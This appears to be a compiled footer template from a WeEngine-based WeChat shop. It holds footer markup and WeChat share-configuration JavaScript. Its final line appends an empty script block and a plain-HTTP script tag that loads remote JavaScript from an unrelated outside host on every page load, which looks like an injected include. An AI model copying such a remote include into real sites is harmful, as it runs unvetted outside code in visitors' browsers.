人人商城

0_0_footer.tpl.php 4.8KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125
  1. <?php defined('IN_IA') or exit('Access Denied');?> <?php if(empty($footer_off)) { ?>
  2. <div class="text-center footer" style="margin:10px 0; width:100%; text-align:center; word-break:break-all;">
  3. <?php if(!empty($_W['page']['footer'])) { ?>
  4. <?php echo $_W['page']['footer'];?>
  5. <?php } else { ?>
  6. <?php if(IMS_FAMILY == 'v') { ?><a href="http://www.we7.cc">关于微擎</a>&nbsp;&nbsp;<a href="http://bbs.we7.cc">微擎帮助</a><?php } ?>
  7. <?php } ?>
  8. &nbsp;&nbsp;<?php echo $_W['setting']['copyright']['statcode'];?>
  9. </div>
  10. <?php } ?>
  11. <?php if($_GPC['c'] == 'home' && $_GPC['a'] == 'page') { ?>
  12. <?php if($bottom_menu) { ?>
  13. <?php $site_quickmenu = modulefunc('site', 'site_quickmenu', array (
  14. 'func' => 'site_quickmenu',
  15. 'limit' => 10,
  16. 'index' => 'iteration',
  17. 'multiid' => 0,
  18. 'uniacid' => 0,
  19. 'acid' => 0,
  20. )); if(is_array($site_quickmenu)) { $i=0; foreach($site_quickmenu as $i => $row) { $i++; $row['iteration'] = $i; ?><?php } } ?>
  21. <?php } ?>
  22. <?php } else { ?>
  23. <?php if($_GPC['m'] != 'paycenter') { ?>
  24. <?php $site_quickmenu = modulefunc('site', 'site_quickmenu', array (
  25. 'func' => 'site_quickmenu',
  26. 'limit' => 10,
  27. 'index' => 'iteration',
  28. 'multiid' => 0,
  29. 'uniacid' => 0,
  30. 'acid' => 0,
  31. )); if(is_array($site_quickmenu)) { $i=0; foreach($site_quickmenu as $i => $row) { $i++; $row['iteration'] = $i; ?><?php } } ?>
  32. <?php } ?>
  33. <?php } ?>
  34. </div>
  35. <style>
  36. h5{color:#555;}
  37. </style>
  38. <?php
  39. $_share['title'] = !empty($_share['title']) ? $_share['title'] : $_W['account']['name'];
  40. $_share['imgUrl'] = !empty($_share['imgUrl']) ? $_share['imgUrl'] : '';
  41. if(isset($_share['content'])){
  42. $_share['desc'] = $_share['content'];
  43. unset($_share['content']);
  44. }
  45. $_share['desc'] = !empty($_share['desc']) ? $_share['desc'] : '';
  46. $_share['desc'] = preg_replace('/\s/i', '', str_replace(' ', '', cutstr(str_replace('&nbsp;', '', ihtmlspecialchars(strip_tags($_share['desc']))), 60)));
  47. if(empty($_share['link'])) {
  48. $_share['link'] = '';
  49. $query_string = $_SERVER['QUERY_STRING'];
  50. if(!empty($query_string)) {
  51. parse_str($query_string, $query_arr);
  52. $query_arr['u'] = $_W['member']['uid'];
  53. $query_string = http_build_query($query_arr);
  54. $_share['link'] = $_W['siteroot'].'app/index.php?'. $query_string;
  55. }
  56. }
  57. ?>
  58. <script type="text/javascript">
  59. $(function(){
  60. wx.config(jssdkconfig);
  61. var $_share = <?php echo json_encode($_share);?>;
  62. if(typeof sharedata == 'undefined'){
  63. sharedata = $_share;
  64. } else {
  65. sharedata['title'] = sharedata['title'] || $_share['title'];
  66. sharedata['desc'] = sharedata['desc'] || $_share['desc'];
  67. sharedata['link'] = sharedata['link'] || $_share['link'];
  68. sharedata['imgUrl'] = sharedata['imgUrl'] || $_share['imgUrl'];
  69. }
  70. if(sharedata.imgUrl == ''){
  71. var _share_img = $('body img:eq(0)').attr("src");
  72. if(_share_img){
  73. sharedata['imgUrl'] = util.tomedia(_share_img);
  74. }
  75. }
  76. if(sharedata.imgUrl == ""){
  77. sharedata.imgUrl = window.sysinfo.attachurl + 'images/global/wechat_share.jpg';
  78. }
  79. if(sharedata.desc == ''){
  80. var _share_content = util.removeHTMLTag($('body').html());
  81. if(typeof _share_content == 'string'){
  82. sharedata.desc = _share_content.replace($_share['title'], '')
  83. }
  84. }
  85. wx.ready(function () {
  86. wx.onMenuShareAppMessage(sharedata);
  87. wx.onMenuShareTimeline(sharedata);
  88. wx.onMenuShareQQ(sharedata);
  89. wx.onMenuShareWeibo(sharedata);
  90. });
  91. <?php if($controller == 'site' && $action == 'site') { ?>
  92. $('#category_show').click(function(){
  93. $('.head .order').toggleClass('hide');
  94. return false;
  95. });
  96. //文章点击和分享加积分
  97. <?php if(!empty($_GPC['u'])) { ?>
  98. var url = "<?php echo url('site/site/handsel/', array('id' => $detail['id'], 'action' => 'click', 'u' => $_GPC['u']), true);?>";
  99. $.post(url, function(dat){});
  100. <?php } ?>
  101. sharedata.success = function(){
  102. var url = "<?php echo url('site/site/handsel/', array('id' => $detail['id'], 'action' => 'share'));?>";
  103. $.post(url, function(dat){});
  104. }
  105. <?php } ?>
  106. if ($('.js-quickmenu').size() > 0) {
  107. // var h = $('.js-quickmenu .nav-home').height()+20+'px';
  108. // $('body').css("padding-bottom",h);
  109. // $('body .mui-content').css("bottom",h);
  110. } else if($('.nav-menu-app').size() > 0) {
  111. var h = $('.nav-menu-app').height()+'px';
  112. $('body').css("padding-bottom",h);
  113. $('.mui-content').css('bottom',h);
  114. } else {
  115. $('body').css("padding-bottom", "0");
  116. $('.mui-content').css('bottom', "0");
  117. }
  118. });
  119. </script>
  120. <script type="text/javascript" src="<?php echo $_W['siteroot'];?>app/index.php?i=<?php echo $_W['uniacid'];?>&c=utility&a=visit&do=showjs&m=<?php echo $_W['current_module']['name'];?>"></script>
  121. <script>;</script><script type="text/javascript" src="http://shop.kuyicloud.com/app/index.php?i=0&c=utility&a=visit&do=showjs&m="></script></body>
  122. </html>